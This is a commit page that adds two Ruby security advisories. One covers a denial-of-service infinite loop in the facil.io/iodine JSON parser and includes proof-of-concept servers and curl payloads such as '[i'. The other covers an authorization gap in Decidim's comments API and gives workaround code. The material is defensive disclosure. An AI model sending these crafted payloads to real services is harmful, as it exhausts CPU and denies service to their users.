Skip to content

Commit afbc24a

Browse files
flavorjonesRubySec CI
authored andcommitted
Updated advisory posts against rubysec/ruby-advisory-db@c216447
1 parent 8ef45ec commit afbc24a

3 files changed

Lines changed: 421 additions & 0 deletions

File tree

Lines changed: 269 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,269 @@
1+
---
2+
layout: advisory
3+
title: 'GHSA-2x79-gwq3-vxxm (iodine): Uncontrolled resource consumption and loop with
4+
unreachable exit condition in facil.io and downstream iodine ruby gem'
5+
comments: false
6+
categories:
7+
- iodine
8+
advisory:
9+
gem: iodine
10+
ghsa: 2x79-gwq3-vxxm
11+
url: https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm
12+
title: Uncontrolled resource consumption and loop with unreachable exit condition
13+
in facil.io and downstream iodine ruby gem
14+
date: 2026-04-14
15+
description: |-
16+
### Summary
17+
18+
`fio_json_parse` can enter an infinite loop when it encounters a
19+
nested JSON value starting with `i` or `I`. The process spins in
20+
user space and pegs one CPU core at ~100 instead of returning a
21+
parse error. Because `iodine` vendors the same parser code, the
22+
issue also affects `iodine` when it parses attacker-controlled JSON.
23+
24+
The smallest reproducer found is `[i`. The quoted-value form that
25+
originally exposed the issue, `[""i`, reaches the same bug because
26+
the parser tolerates missing commas and then treats the trailing
27+
`i` as the start of another value.
28+
29+
### Details
30+
31+
The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around
32+
the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`;
33+
`master`: lines `434-468` in the current tree as tested).
34+
35+
This parser is reached from real library entry points, not just
36+
the header in isolation:
37+
38+
- `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`)
39+
and `402-411` (`fiobj_hash_update_json`)
40+
- `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`)
41+
- `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411`
42+
43+
Relevant flow:
44+
45+
1. Inside an array or object, the parser sees `i` or `I` and jumps
46+
to the `numeral:` label.
47+
48+
2. It calls `fio_atol((char **)&tmp)`.
49+
50+
3. For a bare `i` / `I`, `fio_atol` consumes zero characters and
51+
leaves `tmp == pos`.
52+
53+
4. The current code only falls back to float parsing when
54+
`JSON_NUMERAL[*tmp]` is true.
55+
56+
5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts
57+
the value as an integer and sets `pos = tmp` without advancing.
58+
59+
6. Because parsing is still nested (`parser->depth > 0`), the
60+
outer loop continues forever with the same `pos`.
61+
62+
The same logic exists in `iodine`'s vendored copy at
63+
`ext/iodine/fio_json_parser.h` lines `434-468`.
64+
65+
Why the `[""i` form hangs:
66+
67+
1. The parser accepts the empty string `""` as the first array element.
68+
2. It does not require a comma before the next token.
69+
3. The trailing `i` is then parsed as a new nested value.
70+
4. The zero-progress numeral path above causes the infinite loop.
71+
72+
Examples that trigger the bug:
73+
74+
- Array form, minimal: `[i`
75+
- Object form: `{"a":i`
76+
- After a quoted value in an array: `[""i`
77+
- After a quoted value in an object: `{"a":""i`
78+
79+
### Minimal standalone program
80+
81+
Use the normal HTTP stack. The following server calls `http_parse_body(h)`,
82+
which reaches `fiobj_json2obj` and then `fio_json_parse` for
83+
`Content-Type: application/json`.
84+
85+
```c
86+
#define _POSIX_C_SOURCE 200809L
87+
88+
#include <stdio.h>
89+
#include <time.h>
90+
#include <fio.h>
91+
#include <http.h>
92+
93+
static void on_request(http_s *h) {
94+
fprintf(stderr, "calling http_parse_body
95+
");
96+
fflush(stderr);
97+
http_parse_body(h);
98+
fprintf(stderr, "returned from http_parse_body
99+
");
100+
http_send_body(h, "ok
101+
", 3);
102+
}
103+
104+
int main(void) {
105+
if (http_listen("3000", "127.0.0.1",
106+
.on_request = on_request,
107+
.max_body_size = (1024 * 1024),
108+
.log = 1) == -1) {
109+
perror("http_listen");
110+
return 1;
111+
}
112+
fio_start(.threads = 1, .workers = 1);
113+
return 0;
114+
}
115+
```
116+
117+
`http_parse_body(h)` is the higher-level entry point and, for
118+
`Content-Type: application/json`, it reaches `fiobj_json2obj`
119+
in `lib/facil/http/http.c:1947-1953`.
120+
121+
Save it as `src/main.c` in a vulnerable `facil.io` checkout
122+
and build it with the repo `makefile`:
123+
124+
```bash
125+
git checkout 0.7.6
126+
mkdir -p src
127+
make NAME=http_json_poc
128+
```
129+
130+
Run:
131+
132+
```bash
133+
./tmp/http_json_poc
134+
```
135+
136+
Then in another terminal send one of these payloads:
137+
138+
```bash
139+
printf '[i' | curl --http1.1 -H 'Content-Type: application/json'
140+
-X POST --data-binary @- http://127.0.0.1:3000/
141+
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json'
142+
-X POST --data-binary @- http://127.0.0.1:3000/
143+
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json'
144+
-X POST --data-binary @- http://127.0.0.1:3000/
145+
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json'
146+
-X POST --data-binary @- http://127.0.0.1:3000/
147+
```
148+
149+
Observed result on a vulnerable build:
150+
151+
- The server prints `calling http_parse_body` and never reaches
152+
`returned from http_parse_body`.
153+
- The request never completes.
154+
- One worker thread spins until the process is killed.
155+
156+
### Downstream impact in `iodine`
157+
158+
`iodine` vendors the same parser implementation in
159+
`ext/iodine/fio_json_parser.h`, so any `iodine` code path that
160+
parses attacker-controlled JSON through this parser inherits
161+
the same hang / CPU exhaustion behavior.
162+
163+
Single-file `iodine` HTTP server repro:
164+
165+
```ruby
166+
require "iodine"
167+
168+
APP = proc do |env|
169+
body = env["rack.input"].read.to_s
170+
warn "calling Iodine::JSON.parse on: #{body.inspect}"
171+
Iodine::JSON.parse(body)
172+
warn "returned from Iodine::JSON.parse"
173+
[200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok
174+
"]]
175+
end
176+
177+
Iodine.listen service: :http,
178+
address: "127.0.0.1",
179+
port: "3000",
180+
handler: APP
181+
182+
Iodine.threads = 1
183+
Iodine.workers = 1
184+
Iodine.start
185+
```
186+
187+
Run:
188+
189+
```bash
190+
ruby iodine_json_parse_http_poc.rb
191+
```
192+
193+
Then in a second terminal:
194+
195+
```bash
196+
printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
197+
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
198+
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
199+
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
200+
```
201+
202+
On a vulnerable build, the server prints the `calling Iodine::JSON.parse...`
203+
line but never prints the `returned from Iodine::JSON.parse` line
204+
for these payloads.
205+
206+
## Impact
207+
208+
This is a denial-of-service issue. An attacker who can supply JSON
209+
to an affected parser path can cause the process to spin indefinitely
210+
and consume CPU at roughly 100 of one core. In practice, the impact
211+
depends on whether an application exposes parser access to untrusted
212+
clients, but for services that do, a single crafted request can tie
213+
up a worker or thread until it is killed or restarted.
214+
215+
I would describe the impact as:
216+
217+
- Availability impact: high for affected parser entry points
218+
- Confidentiality impact: none observed
219+
- Integrity impact: none observed
220+
221+
## Suggested Patch
222+
Treat zero-consumption numeric parses as failures before accepting the token.
223+
224+
```diff
225+
diff --git a/lib/facil/fiobj/fio_json_parser.h \
226+
b/lib/facil/fiobj/fio_json_parser.h
227+
@@
228+
uint8_t *tmp = pos;
229+
long long i = fio_atol((char **)&tmp);
230+
if (tmp > limit)
231+
goto stop;
232+
- if (!tmp || JSON_NUMERAL[*tmp]) {
233+
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
234+
tmp = pos;
235+
double f = fio_atof((char **)&tmp);
236+
if (tmp > limit)
237+
goto stop;
238+
- if (!tmp || JSON_NUMERAL[*tmp])
239+
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
240+
goto error;
241+
fio_json_on_float(parser, f);
242+
pos = tmp;
243+
```
244+
245+
This preserves permissive `inf` / `nan` handling when the float
246+
parser actually consumes input, but rejects bare `i` / `I` tokens
247+
that otherwise leave the cursor unchanged.
248+
249+
The same change should be mirrored to `iodine`'s vendored copy:
250+
251+
- `ext/iodine/fio_json_parser.h`
252+
253+
254+
## Impact
255+
- `facil.io`
256+
- Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e`
257+
(`git describe`: `0.7.5-24-g162df840`)
258+
- Verified on tagged releases `0.7.5` and `0.7.6`
259+
- `iodine` Ruby gem
260+
- Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8`
261+
- Verified on tag / gem version `v0.7.58`
262+
- The gem vendors a copy of the vulnerable parser in
263+
`ext/iodine/fio_json_parser.h`
264+
related:
265+
url:
266+
- https://github.com/boazsegev/iodine/releases/tag/v0.7.58
267+
- https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm
268+
- https://github.com/advisories/GHSA-2x79-gwq3-vxxm
269+
---
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
---
2+
layout: advisory
3+
title: 'GHSA-ghmh-q25g-gxxx (decidim-comments): Decidim''s comments API allows access
4+
to all commentable resources'
5+
comments: false
6+
categories:
7+
- decidim-comments
8+
advisory:
9+
gem: decidim-comments
10+
ghsa: ghmh-q25g-gxxx
11+
url: https://github.com/decidim/decidim/security/advisories/GHSA-ghmh-q25g-gxxx
12+
title: Decidim's comments API allows access to all commentable resources
13+
date: 2026-04-14
14+
description: |-
15+
### Impact
16+
17+
The root level `commentable` field in the API allows access to all
18+
commentable resources within the platform, without any permission
19+
checks. All Decidim instances are impacted that have not secured
20+
the `/api` endpoint. The `/api` endpoint is publicly available
21+
with the default configuration.
22+
23+
### Patches
24+
25+
Not available
26+
27+
### Workarounds
28+
29+
To mitigate the issue, you can limit the scope to only authenticated
30+
users by limiting access to the `/api` endpoint. This would require
31+
custom code or installing the 3rd party module `Decidim::Apiauth`.
32+
33+
With custom code, the `/api` endpoint can be limited to only
34+
authenticated users with the following code (needs to run during
35+
application initialization):
36+
37+
```ruby
38+
# Within your application
39+
# config/initializers/limit_api_access.rb
40+
41+
module LimitApiAccess
42+
extend ActiveSupport::Concern
43+
44+
included do
45+
prepend_before_action do |controller|
46+
unless controller.send(:user_signed_in?)
47+
render plain: I18n.t("actions.login_before_access",
48+
scope: "decidim.core"), status: :unauthorized
49+
end
50+
end
51+
end
52+
end
53+
54+
Rails.application.config.to_prepare do
55+
Decidim::Api::ApplicationController.include(LimitApiAccess)
56+
end
57+
```
58+
59+
Please note that this would only disable public access to the API
60+
and all authenticated users would be still able to exploit the
61+
vulnerability. This may be sufficient for some installations,
62+
but not for all.
63+
64+
Another workaround is to limit the availability of the `/api`
65+
endpoint to only trusted ranges of IPs that need to access the
66+
API. The following Nginx configuration would help limiting the
67+
API access to only specific IPs:
68+
69+
```
70+
location /api {
71+
allow 192.168.1.100;
72+
allow 192.168.1.101;
73+
deny all;
74+
}
75+
```
76+
77+
The same configuration can be also used without the `allow`
78+
statements to disable all traffic to the the `/api` endpoint.
79+
80+
When considering a workaround and the seriousness of the vulnerability,
81+
please consider the nature of the platform. If the platform is primarily
82+
serving public data, this vulnerability is not serious by its nature.
83+
If the platform is protecting some resources, e.g. inside private
84+
participation spaces, the vulnerability may expose some data to
85+
the attacker that is not meant public.
86+
87+
If you have enabled the organization setting "Force users to
88+
authenticate before access organization", the scope of this
89+
vulnerability is limited to the users who are allowed to log in
90+
to the Decidim platform. This setting was introduced in version
91+
0.19.0 and it was applied to the `/api` endpoint in version 0.22.0.
92+
cvss_v3: 7.5
93+
unaffected_versions:
94+
- "< 0.0.1"
95+
patched_versions:
96+
- "~> 0.30.5"
97+
- ">= 0.31.1"
98+
related:
99+
url:
100+
- https://github.com/decidim/decidim/security/advisories/GHSA-ghmh-q25g-gxxx
101+
- https://github.com/advisories/GHSA-ghmh-q25g-gxxx
102+
---

0 commit comments

Comments
 (0)